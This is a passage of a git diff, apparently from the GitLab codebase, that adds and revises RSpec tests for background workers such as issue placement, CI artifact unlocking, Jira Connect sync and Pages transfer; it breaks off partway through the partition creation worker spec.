+++ b/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Analytics::InstanceStatistics::CountJobTriggerWorker do
+ it_behaves_like 'an idempotent worker'
+
+ context 'triggers a job for each measurement identifiers' do
+ let(:expected_count) { Analytics::InstanceStatistics::Measurement.identifiers.size }
+
+ it 'triggers CounterJobWorker jobs' do
+ subject.perform
+
+ expect(Analytics::InstanceStatistics::CounterJobWorker.jobs.count).to eq(expected_count)
+ end
+ end
+
+ context 'when the `store_instance_statistics_measurements` feature flag is off' do
+ before do
+ stub_feature_flags(store_instance_statistics_measurements: false)
+ end
+
+ it 'does not trigger any CounterJobWorker job' do
+ subject.perform
+
+ expect(Analytics::InstanceStatistics::CounterJobWorker.jobs.count).to eq(0)
+ end
+ end
+end
diff --git a/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb b/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb
new file mode 100644
index 00000000000..8db86071dc4
--- /dev/null
+++ b/spec/workers/analytics/instance_statistics/counter_job_worker_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Analytics::InstanceStatistics::CounterJobWorker do
+ let_it_be(:user_1) { create(:user) }
+ let_it_be(:user_2) { create(:user) }
+
+ let(:users_measurement_identifier) { ::Analytics::InstanceStatistics::Measurement.identifiers.fetch(:users) }
+ let(:recorded_at) { Time.zone.now }
+ let(:job_args) { [users_measurement_identifier, user_1.id, user_2.id, recorded_at] }
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
+ end
+
+ include_examples 'an idempotent worker' do
+ it 'counts a scope and stores the result' do
+ subject
+
+ measurement = Analytics::InstanceStatistics::Measurement.first
+ expect(measurement.recorded_at).to be_like_time(recorded_at)
+ expect(measurement.identifier).to eq('users')
+ expect(measurement.count).to eq(2)
+ end
+ end
+
+ context 'when no records are in the database' do
+ let(:users_measurement_identifier) { ::Analytics::InstanceStatistics::Measurement.identifiers.fetch(:groups) }
+
+ subject { described_class.new.perform(users_measurement_identifier, nil, nil, recorded_at) }
+
+ it 'sets 0 as the count' do
+ subject
+
+ measurement = Analytics::InstanceStatistics::Measurement.first
+ expect(measurement.recorded_at).to be_like_time(recorded_at)
+ expect(measurement.identifier).to eq('groups')
+ expect(measurement.count).to eq(0)
+ end
+ end
+
+ it 'does not raise error when inserting duplicated measurement' do
+ subject
+
+ expect { subject }.not_to raise_error
+ end
+
+ it 'does not insert anything when BatchCount returns error' do
+ allow(Gitlab::Database::BatchCount).to receive(:batch_count).and_return(Gitlab::Database::BatchCounter::FALLBACK)
+
+ expect { subject }.not_to change { Analytics::InstanceStatistics::Measurement.count }
+ end
+end
diff --git a/spec/workers/ci/build_trace_chunk_flush_worker_spec.rb b/spec/workers/ci/build_trace_chunk_flush_worker_spec.rb
new file mode 100644
index 00000000000..352ad6d4cf6
--- /dev/null
+++ b/spec/workers/ci/build_trace_chunk_flush_worker_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::BuildTraceChunkFlushWorker do
+ let(:data) { 'x' * Ci::BuildTraceChunk::CHUNK_SIZE }
+
+ let(:chunk) do
+ create(:ci_build_trace_chunk, :redis_with_data, initial_data: data)
+ end
+
+ it 'migrates chunk to a permanent store' do
+ expect(chunk).to be_live
+
+ described_class.new.perform(chunk.id)
+
+ expect(chunk.reload).to be_persisted
+ end
+
+ describe '#perform' do
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [chunk.id] }
+
+ it 'migrates build trace chunk to a safe store' do
+ subject
+
+ expect(chunk.reload).to be_persisted
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/create_cross_project_pipeline_worker_spec.rb b/spec/workers/ci/create_cross_project_pipeline_worker_spec.rb
index 95dcf5624cc..116e6878281 100644
--- a/spec/workers/ci/create_cross_project_pipeline_worker_spec.rb
+++ b/spec/workers/ci/create_cross_project_pipeline_worker_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Ci::CreateCrossProjectPipelineWorker do
describe '#perform' do
context 'when bridge exists' do
it 'calls cross project pipeline creation service' do
- expect(Ci::CreateCrossProjectPipelineService)
+ expect(Ci::CreateDownstreamPipelineService)
.to receive(:new)
.with(project, user)
.and_return(service)
@@ -26,7 +26,7 @@ RSpec.describe Ci::CreateCrossProjectPipelineWorker do
context 'when bridge does not exist' do
it 'does nothing' do
- expect(Ci::CreateCrossProjectPipelineService)
+ expect(Ci::CreateDownstreamPipelineService)
.not_to receive(:new)
described_class.new.perform(non_existing_record_id)
diff --git a/spec/workers/ci/pipelines/create_artifact_worker_spec.rb b/spec/workers/ci/pipelines/create_artifact_worker_spec.rb
new file mode 100644
index 00000000000..31d2c4e9559
--- /dev/null
+++ b/spec/workers/ci/pipelines/create_artifact_worker_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Ci::Pipelines::CreateArtifactWorker do
+ describe '#perform' do
+ subject { described_class.new.perform(pipeline_id) }
+
+ context 'when pipeline exists' do
+ let(:pipeline) { create(:ci_pipeline) }
+ let(:pipeline_id) { pipeline.id }
+
+ it 'calls pipeline report result service' do
+ expect_next_instance_of(::Ci::Pipelines::CreateArtifactService) do |create_artifact_service|
+ expect(create_artifact_service).to receive(:execute)
+ end
+
+ subject
+ end
+ end
+
+ context 'when pipeline does not exist' do
+ let(:pipeline_id) { non_existing_record_id }
+
+ it 'does not call pipeline create artifact service' do
+ expect(Ci::Pipelines::CreateArtifactService).not_to receive(:execute)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/ref_delete_unlock_artifacts_worker_spec.rb b/spec/workers/ci/ref_delete_unlock_artifacts_worker_spec.rb
index d9f2dd326dd..f510852e753 100644
--- a/spec/workers/ci/ref_delete_unlock_artifacts_worker_spec.rb
+++ b/spec/workers/ci/ref_delete_unlock_artifacts_worker_spec.rb
@@ -29,10 +29,8 @@ RSpec.describe Ci::RefDeleteUnlockArtifactsWorker do
context 'when user exists' do
let(:user_id) { project.creator.id }
- context 'when ci ref exists' do
- before do
- create(:ci_ref, ref_path: ref)
- end
+ context 'when ci ref exists for project' do
+ let!(:ci_ref) { create(:ci_ref, ref_path: ref, project: project) }
it 'calls the service' do
service = spy(Ci::UnlockArtifactsService)
@@ -40,17 +38,33 @@ RSpec.describe Ci::RefDeleteUnlockArtifactsWorker do
perform
- expect(service).to have_received(:execute)
+ expect(service).to have_received(:execute).with(ci_ref)
end
end
- context 'when ci ref does not exist' do
+ context 'when ci ref does not exist for the given project' do
+ let!(:another_ci_ref) { create(:ci_ref, ref_path: ref) }
+
it 'does not call the service' do
expect(Ci::UnlockArtifactsService).not_to receive(:new)
perform
end
end
+
+ context 'when same ref path exists for a different project' do
+ let!(:another_ci_ref) { create(:ci_ref, ref_path: ref) }
+ let!(:ci_ref) { create(:ci_ref, ref_path: ref, project: project) }
+
+ it 'calls the service with the correct ref_id' do
+ service = spy(Ci::UnlockArtifactsService)
+ expect(Ci::UnlockArtifactsService).to receive(:new).and_return(service)
+
+ perform
+
+ expect(service).to have_received(:execute).with(ci_ref)
+ end
+ end
end
context 'when user does not exist' do
diff --git a/spec/workers/ci_platform_metrics_update_cron_worker_spec.rb b/spec/workers/ci_platform_metrics_update_cron_worker_spec.rb
new file mode 100644
index 00000000000..0bb6822a0a5
--- /dev/null
+++ b/spec/workers/ci_platform_metrics_update_cron_worker_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CiPlatformMetricsUpdateCronWorker, type: :worker do
+ describe '#perform' do
+ subject { described_class.new.perform }
+
+ it 'inserts new platform metrics' do
+ expect(CiPlatformMetric).to receive(:insert_auto_devops_platform_targets!).and_call_original
+
+ subject
+ end
+ end
+end
diff --git a/spec/workers/cluster_update_app_worker_spec.rb b/spec/workers/cluster_update_app_worker_spec.rb
index c24f40024fd..8b8c1c82099 100644
--- a/spec/workers/cluster_update_app_worker_spec.rb
+++ b/spec/workers/cluster_update_app_worker_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe ClusterUpdateAppWorker do
subject { described_class.new }
around do |example|
- Timecop.freeze(Time.current) { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/workers/create_pipeline_worker_spec.rb b/spec/workers/create_pipeline_worker_spec.rb
index 6a3729fa28a..da85d700429 100644
--- a/spec/workers/create_pipeline_worker_spec.rb
+++ b/spec/workers/create_pipeline_worker_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe CreatePipelineWorker do
context 'when a project not found' do
it 'does not call the Service' do
expect(Ci::CreatePipelineService).not_to receive(:new)
- expect { worker.perform(99, create(:user).id, 'master', :web) }.to raise_error(ActiveRecord::RecordNotFound)
+ expect { worker.perform(non_existing_record_id, create(:user).id, 'master', :web) }.to raise_error(ActiveRecord::RecordNotFound)
end
end
@@ -18,7 +18,7 @@ RSpec.describe CreatePipelineWorker do
it 'does not call the Service' do
expect(Ci::CreatePipelineService).not_to receive(:new)
- expect { worker.perform(project.id, 99, project.default_branch, :web) }.to raise_error(ActiveRecord::RecordNotFound)
+ expect { worker.perform(project.id, non_existing_record_id, project.default_branch, :web) }.to raise_error(ActiveRecord::RecordNotFound)
end
end
diff --git a/spec/workers/delete_diff_files_worker_spec.rb b/spec/workers/delete_diff_files_worker_spec.rb
index b3b01588e0b..cf26dbabb97 100644
--- a/spec/workers/delete_diff_files_worker_spec.rb
+++ b/spec/workers/delete_diff_files_worker_spec.rb
@@ -19,6 +19,12 @@ RSpec.describe DeleteDiffFilesWorker do
.from('collected').to('without_files')
end
+ it 'resets the files_count of the diff' do
+ expect { described_class.new.perform(merge_request_diff.id) }
+ .to change { merge_request_diff.reload.files_count }
+ .from(20).to(0)
+ end
+
it 'does nothing if diff was already marked as "without_files"' do
merge_request_diff.clean!
diff --git a/spec/workers/deployments/finished_worker_spec.rb b/spec/workers/deployments/finished_worker_spec.rb
index e1ec2d89e0a..d0a26ae1547 100644
--- a/spec/workers/deployments/finished_worker_spec.rb
+++ b/spec/workers/deployments/finished_worker_spec.rb
@@ -61,17 +61,5 @@ RSpec.describe Deployments::FinishedWorker do
worker.perform(deployment.id)
end
-
- it 'does not execute webhooks if feature flag is disabled' do
- stub_feature_flags(deployment_webhooks: false)
-
- deployment = create(:deployment)
- project = deployment.project
- create(:project_hook, deployment_events: true, project: project)
-
- expect(WebHookService).not_to receive(:new)
-
- worker.perform(deployment.id)
- end
end
end
diff --git a/spec/workers/git_garbage_collect_worker_spec.rb b/spec/workers/git_garbage_collect_worker_spec.rb
index 223f5aea813..1be6e86b650 100644
--- a/spec/workers/git_garbage_collect_worker_spec.rb
+++ b/spec/workers/git_garbage_collect_worker_spec.rb
@@ -25,12 +25,18 @@ RSpec.describe GitGarbageCollectWorker do
end
shared_examples 'it updates the project statistics' do
- specify do
- expect_any_instance_of(Projects::UpdateStatisticsService).to receive(:execute).and_call_original
- expect(Projects::UpdateStatisticsService)
- .to receive(:new)
- .with(project, nil, statistics: [:repository_size, :lfs_objects_size])
- .and_call_original
+ it 'updates the project statistics' do
+ expect_next_instance_of(Projects::UpdateStatisticsService, project, nil, statistics: [:repository_size, :lfs_objects_size]) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
+
+ subject.perform(*params)
+ end
+
+ it 'does nothing if the database is read-only' do
+ allow(Gitlab::Database).to receive(:read_only?) { true }
+
+ expect_any_instance_of(Projects::UpdateStatisticsService).not_to receive(:execute)
subject.perform(*params)
end
@@ -141,7 +147,8 @@ RSpec.describe GitGarbageCollectWorker do
end
it 'does nothing if the database is read-only' do
- expect(Gitlab::Database).to receive(:read_only?) { true }
+ allow(Gitlab::Database).to receive(:read_only?) { true }
+
expect_any_instance_of(Gitlab::Cleanup::OrphanLfsFileReferences).not_to receive(:run!)
subject.perform(*params)
diff --git a/spec/workers/issue_placement_worker_spec.rb b/spec/workers/issue_placement_worker_spec.rb
new file mode 100644
index 00000000000..5d4d41b90d0
--- /dev/null
+++ b/spec/workers/issue_placement_worker_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssuePlacementWorker do
+ describe '#perform' do
+ let_it_be(:time) { Time.now.utc }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:author) { create(:user) }
+ let_it_be(:common_attrs) { { author: author, project: project } }
+ let_it_be(:unplaced) { common_attrs.merge(relative_position: nil) }
+ let_it_be_with_reload(:issue) { create(:issue, **unplaced, created_at: time) }
+ let_it_be_with_reload(:issue_a) { create(:issue, **unplaced, created_at: time - 1.minute) }
+ let_it_be_with_reload(:issue_b) { create(:issue, **unplaced, created_at: time - 2.minutes) }
+ let_it_be_with_reload(:issue_c) { create(:issue, **unplaced, created_at: time + 1.minute) }
+ let_it_be_with_reload(:issue_d) { create(:issue, **unplaced, created_at: time + 2.minutes) }
+ let_it_be_with_reload(:issue_e) { create(:issue, **common_attrs, relative_position: 10, created_at: time + 1.minute) }
+ let_it_be_with_reload(:issue_f) { create(:issue, **unplaced, created_at: time + 1.minute) }
+
+ let_it_be(:irrelevant) { create(:issue, relative_position: nil, created_at: time) }
+
+ shared_examples 'running the issue placement worker' do
+ let(:issue_id) { issue.id }
+ let(:project_id) { project.id }
+
+ it 'places all issues created at most 5 minutes before this one at the end, most recent last' do
+ expect { run_worker }.not_to change { irrelevant.reset.relative_position }
+
+ expect(project.issues.order_relative_position_asc)
+ .to eq([issue_e, issue_b, issue_a, issue, issue_c, issue_f, issue_d])
+ expect(project.issues.where(relative_position: nil)).not_to exist
+ end
+
+ it 'schedules rebalancing if needed' do
+ issue_a.update!(relative_position: RelativePositioning::MAX_POSITION)
+
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+
+ run_worker
+ end
+
+ context 'there are more than QUERY_LIMIT unplaced issues' do
+ before_all do
+ # Ensure there are more than N issues in this set
+ n = described_class::QUERY_LIMIT
+ create_list(:issue, n - 5, **unplaced)
+ end
+
+ it 'limits the sweep to QUERY_LIMIT records, and reschedules placement' do
+ expect(Issue).to receive(:move_nulls_to_end)
+ .with(have_attributes(count: described_class::QUERY_LIMIT))
+ .and_call_original
+
+ expect(described_class).to receive(:perform_async).with(nil, project.id)
+
+ run_worker
+
+ expect(project.issues.where(relative_position: nil)).to exist
+ end
+
+ it 'is eventually correct' do
+ prefix = project.issues.where.not(relative_position: nil).order(:relative_position).to_a
+ moved = project.issues.where.not(id: prefix.map(&:id))
+
+ run_worker
+
+ expect(project.issues.where(relative_position: nil)).to exist
+
+ run_worker
+
+ expect(project.issues.where(relative_position: nil)).not_to exist
+ expect(project.issues.order(:relative_position)).to eq(prefix + moved.order(:created_at, :id))
+ end
+ end
+
+ context 'we are passed bad IDs' do
+ let(:issue_id) { non_existing_record_id }
+ let(:project_id) { non_existing_record_id }
+
+ def max_positions_by_project
+ Issue
+ .group(:project_id)
+ .pluck(:project_id, Issue.arel_table[:relative_position].maximum.as('max_relative_position'))
+ .to_h
+ end
+
+ it 'does move any issues to the end' do
+ expect { run_worker }.not_to change { max_positions_by_project }
+ end
+
+ context 'the project_id refers to an empty project' do
+ let!(:project_id) { create(:project).id }
+
+ it 'does move any issues to the end' do
+ expect { run_worker }.not_to change { max_positions_by_project }
+ end
+ end
+ end
+
+ it 'anticipates the failure to place the issues, and schedules rebalancing' do
+ allow(Issue).to receive(:move_nulls_to_end) { raise RelativePositioning::NoSpaceLeft }
+
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(Gitlab::ErrorTracking)
+ .to receive(:log_exception)
+ .with(RelativePositioning::NoSpaceLeft, worker_arguments)
+
+ run_worker
+ end
+ end
+
+ context 'passing an issue ID' do
+ def run_worker
+ described_class.new.perform(issue_id)
+ end
+
+ let(:worker_arguments) { { issue_id: issue_id, project_id: nil } }
+
+ it_behaves_like 'running the issue placement worker'
+ end
+
+ context 'passing a project ID' do
+ def run_worker
+ described_class.new.perform(nil, project_id)
+ end
+
+ let(:worker_arguments) { { issue_id: nil, project_id: project_id } }
+
+ it_behaves_like 'running the issue placement worker'
+ end
+ end
+end
diff --git a/spec/workers/issue_rebalancing_worker_spec.rb b/spec/workers/issue_rebalancing_worker_spec.rb
new file mode 100644
index 00000000000..8b0fcd4bc5a
--- /dev/null
+++ b/spec/workers/issue_rebalancing_worker_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueRebalancingWorker do
+ describe '#perform' do
+ let_it_be(:issue) { create(:issue) }
+
+ it 'runs an instance of IssueRebalancingService' do
+ service = double(execute: nil)
+ expect(IssueRebalancingService).to receive(:new).with(issue).and_return(service)
+
+ described_class.new.perform(nil, issue.project_id)
+ end
+
+ it 'anticipates the inability to find the issue' do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(ActiveRecord::RecordNotFound, include(project_id: -1))
+ expect(IssueRebalancingService).not_to receive(:new)
+
+ described_class.new.perform(nil, -1)
+ end
+
+ it 'anticipates there being too many issues' do
+ service = double
+ allow(service).to receive(:execute) { raise IssueRebalancingService::TooManyIssues }
+ expect(IssueRebalancingService).to receive(:new).with(issue).and_return(service)
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(IssueRebalancingService::TooManyIssues, include(project_id: issue.project_id))
+
+ described_class.new.perform(nil, issue.project_id)
+ end
+
+ it 'takes no action if the value is nil' do
+ expect(IssueRebalancingService).not_to receive(:new)
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ described_class.new.perform(nil, nil)
+ end
+ end
+end
diff --git a/spec/workers/jira_connect/sync_branch_worker_spec.rb b/spec/workers/jira_connect/sync_branch_worker_spec.rb
new file mode 100644
index 00000000000..2da3ea9d256
--- /dev/null
+++ b/spec/workers/jira_connect/sync_branch_worker_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::SyncBranchWorker do
+ describe '#perform' do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:project_id) { project.id }
+ let(:branch_name) { 'master' }
+ let(:commit_shas) { %w(b83d6e3 5a62481) }
+
+ subject { described_class.new.perform(project_id, branch_name, commit_shas) }
+
+ def expect_jira_sync_service_execute(args)
+ expect_next_instance_of(JiraConnect::SyncService) do |instance|
+ expect(instance).to receive(:execute).with(args)
+ end
+ end
+
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_jira_sync_service_execute(
+ branches: [instance_of(Gitlab::Git::Branch)],
+ commits: project.commits_by(oids: commit_shas)
+ )
+
+ subject
+ end
+
+ context 'without branch name' do
+ let(:branch_name) { nil }
+
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_jira_sync_service_execute(
+ branches: nil,
+ commits: project.commits_by(oids: commit_shas)
+ )
+
+ subject
+ end
+ end
+
+ context 'without commits' do
+ let(:commit_shas) { nil }
+
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_jira_sync_service_execute(
+ branches: [instance_of(Gitlab::Git::Branch)],
+ commits: nil
+ )
+
+ subject
+ end
+ end
+
+ context 'when project no longer exists' do
+ let(:project_id) { non_existing_record_id }
+
+ it 'does not call JiraConnect::SyncService' do
+ expect(JiraConnect::SyncService).not_to receive(:new)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/jira_connect/sync_merge_request_worker_spec.rb b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
new file mode 100644
index 00000000000..764201e750a
--- /dev/null
+++ b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::SyncMergeRequestWorker do
+ describe '#perform' do
+ let(:merge_request) { create(:merge_request) }
+ let(:merge_request_id) { merge_request.id }
+
+ subject { described_class.new.perform(merge_request_id) }
+
+ it 'calls JiraConnect::SyncService#execute' do
+ expect_next_instance_of(JiraConnect::SyncService) do |service|
+ expect(service).to receive(:execute).with(merge_requests: [merge_request])
+ end
+
+ subject
+ end
+
+ context 'when MR no longer exists' do
+ let(:merge_request_id) { non_existing_record_id }
+
+ it 'does not call JiraConnect::SyncService' do
+ expect(JiraConnect::SyncService).not_to receive(:new)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/merge_request_cleanup_refs_worker_spec.rb b/spec/workers/merge_request_cleanup_refs_worker_spec.rb
new file mode 100644
index 00000000000..88d7322536b
--- /dev/null
+++ b/spec/workers/merge_request_cleanup_refs_worker_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequestCleanupRefsWorker do
+ describe '#perform' do
+ context 'when merge request exists' do
+ let(:merge_request) { create(:merge_request) }
+ let(:job_args) { merge_request.id }
+
+ include_examples 'an idempotent worker' do
+ it 'calls MergeRequests::CleanupRefsService#execute' do
+ expect_next_instance_of(MergeRequests::CleanupRefsService, merge_request) do |svc|
+ expect(svc).to receive(:execute).and_call_original
+ end.twice
+
+ subject
+ end
+ end
+ end
+
+ context 'when merge request does not exist' do
+ it 'does not call MergeRequests::CleanupRefsService' do
+ expect(MergeRequests::CleanupRefsService).not_to receive(:new)
+
+ perform_multiple(1)
+ end
+ end
+ end
+end
diff --git a/spec/workers/new_issue_worker_spec.rb b/spec/workers/new_issue_worker_spec.rb
index 6386af8d253..7cba3487603 100644
--- a/spec/workers/new_issue_worker_spec.rb
+++ b/spec/workers/new_issue_worker_spec.rb
@@ -11,13 +11,13 @@ RSpec.describe NewIssueWorker do
expect(EventCreateService).not_to receive(:new)
expect(NotificationService).not_to receive(:new)
- worker.perform(99, create(:user).id)
+ worker.perform(non_existing_record_id, create(:user).id)
end
it 'logs an error' do
- expect(Rails.logger).to receive(:error).with('NewIssueWorker: couldn\'t find Issue with ID=99, skipping job')
+ expect(Gitlab::AppLogger).to receive(:error).with("NewIssueWorker: couldn't find Issue with ID=#{non_existing_record_id}, skipping job")
- worker.perform(99, create(:user).id)
+ worker.perform(non_existing_record_id, create(:user).id)
end
end
@@ -26,23 +26,23 @@ RSpec.describe NewIssueWorker do
expect(EventCreateService).not_to receive(:new)
expect(NotificationService).not_to receive(:new)
- worker.perform(create(:issue).id, 99)
+ worker.perform(create(:issue).id, non_existing_record_id)
end
it 'logs an error' do
issue = create(:issue)
- expect(Rails.logger).to receive(:error).with('NewIssueWorker: couldn\'t find User with ID=99, skipping job')
+ expect(Gitlab::AppLogger).to receive(:error).with("NewIssueWorker: couldn't find User with ID=#{non_existing_record_id}, skipping job")
- worker.perform(issue.id, 99)
+ worker.perform(issue.id, non_existing_record_id)
end
end
context 'when everything is ok' do
- let(:project) { create(:project, :public) }
- let(:mentioned) { create(:user) }
- let(:user) { create(:user) }
- let(:issue) { create(:issue, project: project, description: "issue for #{mentioned.to_reference}") }
+ let_it_be(:user) { create_default(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:mentioned) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project, description: "issue for #{mentioned.to_reference}") }
it 'creates a new event record' do
expect { worker.perform(issue.id, user.id) }.to change { Event.count }.from(0).to(1)
@@ -50,7 +50,7 @@ RSpec.describe NewIssueWorker do
it 'creates a notification for the mentioned user' do
expect(Notify).to receive(:new_issue_email).with(mentioned.id, issue.id, NotificationReason::MENTIONED)
- .and_return(double(deliver_later: true))
+ .and_return(double(deliver_later: true))
worker.perform(issue.id, user.id)
end
diff --git a/spec/workers/new_merge_request_worker_spec.rb b/spec/workers/new_merge_request_worker_spec.rb
index 37449540db5..310fde4c7e1 100644
--- a/spec/workers/new_merge_request_worker_spec.rb
+++ b/spec/workers/new_merge_request_worker_spec.rb
@@ -11,15 +11,15 @@ RSpec.describe NewMergeRequestWorker do
expect(EventCreateService).not_to receive(:new)
expect(NotificationService).not_to receive(:new)
- worker.perform(99, create(:user).id)
+ worker.perform(non_existing_record_id, create(:user).id)
end
it 'logs an error' do
user = create(:user)
- expect(Rails.logger).to receive(:error).with('NewMergeRequestWorker: couldn\'t find MergeRequest with ID=99, skipping job')
+ expect(Gitlab::AppLogger).to receive(:error).with("NewMergeRequestWorker: couldn't find MergeRequest with ID=#{non_existing_record_id}, skipping job")
- worker.perform(99, user.id)
+ worker.perform(non_existing_record_id, user.id)
end
end
@@ -28,15 +28,15 @@ RSpec.describe NewMergeRequestWorker do
expect(EventCreateService).not_to receive(:new)
expect(NotificationService).not_to receive(:new)
- worker.perform(create(:merge_request).id, 99)
+ worker.perform(create(:merge_request).id, non_existing_record_id)
end
it 'logs an error' do
merge_request = create(:merge_request)
- expect(Rails.logger).to receive(:error).with('NewMergeRequestWorker: couldn\'t find User with ID=99, skipping job')
+ expect(Gitlab::AppLogger).to receive(:error).with("NewMergeRequestWorker: couldn't find User with ID=#{non_existing_record_id}, skipping job")
- worker.perform(merge_request.id, 99)
+ worker.perform(merge_request.id, non_existing_record_id)
end
end
@@ -54,8 +54,8 @@ RSpec.describe NewMergeRequestWorker do
it 'creates a notification for the mentioned user' do
expect(Notify).to receive(:new_merge_request_email)
- .with(mentioned.id, merge_request.id, NotificationReason::MENTIONED)
- .and_return(double(deliver_later: true))
+ .with(mentioned.id, merge_request.id, NotificationReason::MENTIONED)
+ .and_return(double(deliver_later: true))
worker.perform(merge_request.id, user.id)
end
diff --git a/spec/workers/new_note_worker_spec.rb b/spec/workers/new_note_worker_spec.rb
index 21f10fa5bfb..86b6d041e5c 100644
--- a/spec/workers/new_note_worker_spec.rb
+++ b/spec/workers/new_note_worker_spec.rb
@@ -50,10 +50,16 @@ RSpec.describe NewNoteWorker do
end
end
- context 'when note is with review' do
- it 'does not create a new note notification' do
- note = create(:note, :with_review)
+ context 'when note does not require notification' do
+ let(:note) { create(:note) }
+
+ before do
+ allow_next_found_instance_of(Note) do |note|
+ allow(note).to receive(:skip_notification?).and_return(true)
+ end
+ end
+ it 'does not create a new note notification' do
expect_any_instance_of(NotificationService).not_to receive(:new_note)
subject.perform(note.id)
diff --git a/spec/workers/pages_remove_worker_spec.rb b/spec/workers/pages_remove_worker_spec.rb
new file mode 100644
index 00000000000..638e87043f2
--- /dev/null
+++ b/spec/workers/pages_remove_worker_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe PagesRemoveWorker do
+ let_it_be(:project) { create(:project, path: "my.project")}
+ let_it_be(:domain) { create(:pages_domain, project: project) }
+ subject { described_class.new.perform(project.id) }
+
+ it 'deletes published pages' do
+ expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
+ expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
+
+ subject
+
+ expect(project.reload.pages_metadatum.deployed?).to be(false)
+ end
+
+ it 'deletes all domains' do
+ expect(project.pages_domains.count).to be 1
+
+ subject
+
+ expect(project.reload.pages_domains.count).to be 0
+ end
+end
diff --git a/spec/workers/pages_transfer_worker_spec.rb b/spec/workers/pages_transfer_worker_spec.rb
new file mode 100644
index 00000000000..248a3713bf6
--- /dev/null
+++ b/spec/workers/pages_transfer_worker_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe PagesTransferWorker do
+ describe '#perform' do
+ Gitlab::PagesTransfer::Async::METHODS.each do |meth|
+ context "when method is #{meth}" do
+ let(:args) { [1, 2, 3] }
+
+ it 'calls the service with the given arguments' do
+ expect_next_instance_of(Gitlab::PagesTransfer) do |service|
+ expect(service).to receive(meth).with(*args).and_return(true)
+ end
+
+ subject.perform(meth, args)
+ end
+
+ it 'raises an error when the service returns false' do
+ expect_next_instance_of(Gitlab::PagesTransfer) do |service|
+ expect(service).to receive(meth).with(*args).and_return(false)
+ end
+
+ expect { subject.perform(meth, args) }
+ .to raise_error(described_class::TransferFailedError)
+ end
+ end
+ end
+
+ describe 'when method is not allowed' do
+ it 'does nothing' do
+ expect(Gitlab::PagesTransfer).not_to receive(:new)
+
+ subject.perform('object_id', [])
+ end
+ end
+ end
+end
diff --git a/spec/workers/pages_update_configuration_worker_spec.rb b/spec/workers/pages_update_configuration_worker_spec.rb
index 890b39b22a5..87bbff1a28b 100644
--- a/spec/workers/pages_update_configuration_worker_spec.rb
+++ b/spec/workers/pages_update_configuration_worker_spec.rb
@@ -17,14 +17,6 @@ RSpec.describe PagesUpdateConfigurationWorker do
subject.perform(project.id)
end
- it "raises an exception if the service returned an error" do
- allow_next_instance_of(Projects::UpdatePagesConfigurationService) do |service|
- allow(service).to receive(:execute).and_return({ exception: ":boom:" })
- end
-
- expect { subject.perform(project.id) }.to raise_error(":boom:")
- end
-
it_behaves_like "an idempotent worker" do
let(:job_args) { [project.id] }
let(:pages_dir) { Dir.mktmpdir }
diff --git a/spec/workers/partition_creation_worker_spec.rb b/spec/workers/partition_creation_worker_spec.rb
index 50ed9c901c1..37225cc1f79 100644
--- a/spec/workers/partition_creation_worker_spec.rb
+++ b/spec/workers/partition_creation_worker_spec.rb
@@ -4,16 +4,26 @@ require "spec_helper"
RSpec.describe PartitionCreationWorker do
describe '#perform' do
- let(:creator) { double(create_partitions: nil) }
+ subject { described_class.new.perform }
+
+ let(:creator) { instance_double('PartitionCreator', create_partitions: nil) }
+ let(:monitoring) { instance_double('PartitionMonitoring', report_metrics: nil) }
before do
allow(Gitlab::Database::Partitioning::PartitionCreator).to receive(:new).and_return(creator)
